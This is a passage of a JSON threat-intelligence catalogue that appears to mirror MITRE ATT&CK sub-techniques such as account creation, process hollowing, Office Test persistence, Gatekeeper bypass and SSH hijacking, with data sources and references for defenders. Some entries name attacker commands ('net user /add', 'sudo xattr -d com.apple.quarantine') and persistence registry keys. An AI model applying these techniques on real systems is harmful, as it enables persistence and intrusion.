"description": "Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. With a sufficient level of access, the net user /add command can be used to create a local account. On macOS systems the dscl -create command can be used to create a local account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"meta": {
"external_id": "T1136.001",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"User Account: User Account Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1136/001",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
]
},
"related": [
{
"dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
"type": "subtechnique-of"
}
],
"uuid": "635cbe30-392d-4e27-978e-66774357c762",
"value": "Local Account - T1136.001"
},
{
"description": "An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper.(Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished.(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
"external_id": "T1491.001",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1491/001",
"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf",
"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
]
},
"related": [
{
"dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b",
"type": "subtechnique-of"
}
],
"uuid": "8c41090b-aa47-4331-986b-8c9a51a91103",
"value": "Internal Defacement - T1491.001"
},
{
"description": "Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.\n\nControl Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.(Citation: Microsoft Implementing CPL)(Citation: TrendMicro CPL Malware Jan 2014) For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.(Citation: Microsoft Implementing CPL) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.(Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013)\n\nMalicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns(Citation: TrendMicro CPL Malware Jan 2014)(Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware.(Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.\n\nAdversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls. Even when these registered DLLs do not comply with the CPL file specification and do not export CPlApplet functions, they are loaded and executed through its DllEntryPoint when Control Panel is executed. CPL files not exporting CPlApplet are not directly executable.(Citation: ESET InvisiMole June 2020)",
"meta": {
"external_id": "T1218.002",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1218/002",
"https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/",
"https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx",
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/",
"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf",
"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
]
},
"related": [
{
"dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
"type": "subtechnique-of"
}
],
"uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f",
"value": "Control Panel - T1218.002"
},
{
"description": "Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.\n\n\nOnce adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software's source code. Having access to software's source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: Wired Uber Breach)(Citation: Krebs Adobe)",
"meta": {
"external_id": "T1213.003",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Logon Session: Logon Session Creation"
],
"mitre_platforms": [
"SaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1213/003",
"https://krebsonsecurity.com/2013/10/adobe-to-announce-source-code-customer-data-breach/",
"https://www.wired.com/story/uber-paid-off-hackers-to-hide-a-57-million-user-data-breach/"
]
},
"related": [
{
"dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416",
"type": "subtechnique-of"
}
],
"uuid": "cff94884-3b1c-4987-a70b-6d5643c621c3",
"value": "Code Repositories - T1213.003"
},
{
"description": "Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the net user /add /domain command can be used to create a domain account.\n\nSuch accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.",
"meta": {
"external_id": "T1136.002",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"User Account: User Account Creation"
],
"mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1136/002",
"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
]
},
"related": [
{
"dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
"type": "subtechnique-of"
}
],
"uuid": "7610cada-1499-41a4-b3dd-46467b68d177",
"value": "Domain Account - T1136.002"
},
{
"description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
"meta": {
"external_id": "T1137.002",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Module: Module Load",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/",
"https://attack.mitre.org/techniques/T1137/002",
"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
"value": "Office Test - T1137.002"
},
{
"description": "Adversaries may modify system firmware to persist on systems.The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.",
"meta": {
"external_id": "CAPEC-532",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Firmware: Firmware Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html",
"http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about",
"http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research",
"http://www.uefi.org/about",
"https://attack.mitre.org/techniques/T1542/001",
"https://capec.mitre.org/data/definitions/532.html",
"https://en.wikipedia.org/wiki/BIOS",
"https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface",
"https://github.com/chipsec/chipsec",
"https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/"
]
},
"related": [
{
"dest-uuid": "7f0ca133-88c4-40c6-a62f-b3083a7fbc2e",
"type": "subtechnique-of"
}
],
"uuid": "16ab6452-c3c1-497c-a47d-206018ca1ada",
"value": "System Firmware - T1542.001"
},
{
"description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
"meta": {
"external_id": "T1491.002",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"File: File Creation",
"File: File Modification",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1491/002",
"https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf",
"https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/",
"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf",
"https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
]
},
"related": [
{
"dest-uuid": "5909f20f-3c39-4795-be06-ef1ea40d350b",
"type": "subtechnique-of"
}
],
"uuid": "0cfe31a7-81fc-472c-bc45-e2808d1066a3",
"value": "External Defacement - T1491.002"
},
{
"description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection or NtUnmapViewOfSection before being written to, realigned to the injected code, and resumed via VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.012",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.autosectools.com/process-hollowing.pdf",
"https://attack.mitre.org/techniques/T1055/012",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "b200542e-e877-4395-875b-cf1a44537ca4",
"value": "Process Hollowing - T1055.012"
},
{
"description": "Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)",
"meta": {
"external_id": "T1562.010",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Process: Process Metadata"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1562/010",
"https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/",
"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique",
"https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/"
]
},
"related": [
{
"dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
"type": "subtechnique-of"
}
],
"uuid": "824add00-99a1-4b15-9a2d-6c5683b7b497",
"value": "Downgrade Attack - T1562.010"
},
{
"description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1591.002",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1591/002",
"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
]
},
"related": [
{
"dest-uuid": "937e4772-8441-4e4a-8bf0-8d447d667e23",
"type": "subtechnique-of"
}
],
"uuid": "6ee2dc99-91ad-4534-a7d8-a649358c331f",
"value": "Business Relationships - T1591.002"
},
{
"description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.",
"meta": {
"external_id": "T1136.003",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"User Account: User Account Creation"
],
"mitre_platforms": [
"Azure AD",
"Office 365",
"IaaS",
"Google Workspace"
],
"refs": [
"https://attack.mitre.org/techniques/T1136/003",
"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html",
"https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory",
"https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide",
"https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554",
"https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
]
},
"related": [
{
"dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67",
"type": "subtechnique-of"
}
],
"uuid": "a009cb25-4801-4116-9105-80a91cf15c1b",
"value": "Cloud Account - T1136.003"
},
{
"description": "Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)",
"meta": {
"external_id": "T1137.003",
"kill_chain": [
"mitre-attack:persistence"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Office 365"
],
"refs": [
"https://attack.mitre.org/techniques/T1137/003",
"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack",
"https://github.com/sensepost/notruler",
"https://sensepost.com/blog/2017/outlook-forms-and-shells/"
]
},
"related": [
{
"dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
"type": "subtechnique-of"
}
],
"uuid": "a9e2cea0-c805-4bf8-9e31-f5f0513a3634",
"value": "Outlook Forms - T1137.003"
},
{
"description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
"meta": {
"external_id": "T1543.001",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Service: Service Creation",
"Service: Service Modification"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1543/001",
"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
"https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
]
},
"related": [
{
"dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5",
"type": "subtechnique-of"
}
],
"uuid": "d10cbd34-42e3-45c0-84d2-535a09849584",
"value": "Launch Agent - T1543.001"
},
{
"description": "Adversaries may modify file attributes that signify programs are from untrusted sources to subvert Gatekeeper controls in macOS. When documents, applications, or programs are downloaded an extended attribute (xattr) called com.apple.quarantine can be set on the file by the application performing the download. This attribute, also known as a quarantine flag, is read by Apple's Gatekeeper defense program when the file is run and provides a prompt to the user to allow or deny execution. Gatekeeper also monitors an application's usage of dynamic libraries (dylibs) loaded outside the application folder on any quarantined binary, often using the dlopen function. If the quarantine flag is set in macOS 10.15+, Gatekeeper also checks for a notarization ticket and sends a cryptographic hash to Apple's servers to check for validity for all unsigned executables.(Citation: TheEclecticLightCompany apple notarization )(Citation: Bypassing Gatekeeper)\n\nThe quarantine flag is an opt-in system and not imposed by macOS. If an application opts-in, a file downloaded from the Internet will be given a quarantine flag before being saved to disk. Any application or user with write permissions to the file can change or strip the quarantine flag. With elevated permission (sudo), this attribute can be removed from any file. The presence of the com.apple.quarantine quarantine flag can be checked with the xattr command xattr -l /path/to/examplefile. Similarly, this attribute can be recursively removed from all files in a folder using xattr, sudo xattr -d com.apple.quarantine /path/to/folder.(Citation: 20 macOS Common Tools and Techniques)(Citation: TheEclecticLightCompany Quarantine and the flag)(Citation: theevilbit gatekeeper bypass 2021)\n\nApps and files loaded onto the system from a USB flash drive, optical disk, external hard drive, from a drive shared over the local network, or using the curl command do not set this flag. Additionally, it is possible to avoid setting this flag using [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), which may bypass Gatekeeper. (Citation: Methods of Mac Malware Persistence)(Citation: Clearing quarantine attribute)(Citation: OceanLotus for OS X)",
"meta": {
"external_id": "T1553.001",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Metadata",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1553/001",
"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/",
"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/",
"https://eclecticlight.co/2020/08/28/how-notarization-works/",
"https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/",
"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://theevilbit.github.io/posts/gatekeeper_not_a_bypass/",
"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
]
},
"related": [
{
"dest-uuid": "b83e166d-13d7-4b52-8677-dff90c548fd7",
"type": "subtechnique-of"
}
],
"uuid": "31a0a2ac-c67c-4a7e-b9ed-6a96477d4e8e",
"value": "Gatekeeper Bypass - T1553.001"
},
{
"description": "Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.013",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"File: File Metadata",
"Process: OS API Execution"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/013",
"https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/",
"https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx",
"https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx",
"https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx",
"https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx",
"https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "7007935a-a8a7-4c0b-bd98-4e85be8ed197",
"value": "Process Doppelgänging - T1055.013"
},
{
"description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
"meta": {
"external_id": "T1563.001",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"Command: Command Execution",
"Logon Session: Logon Session Creation",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1563/001",
"https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident",
"https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
"https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking",
"https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
]
},
"related": [
{
"dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
"type": "subtechnique-of"
}
],
"uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8",
"value": "SSH Hijacking - T1563.001"
},
{
"description": "Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.",
"meta": {
"external_id": "T1573.001",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1573/001"
]
},
"related": [
{
"dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118",
"type": "subtechnique-of"
}
],
"uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
"value": "Symmetric Cryptography - T1573.001"
},
{
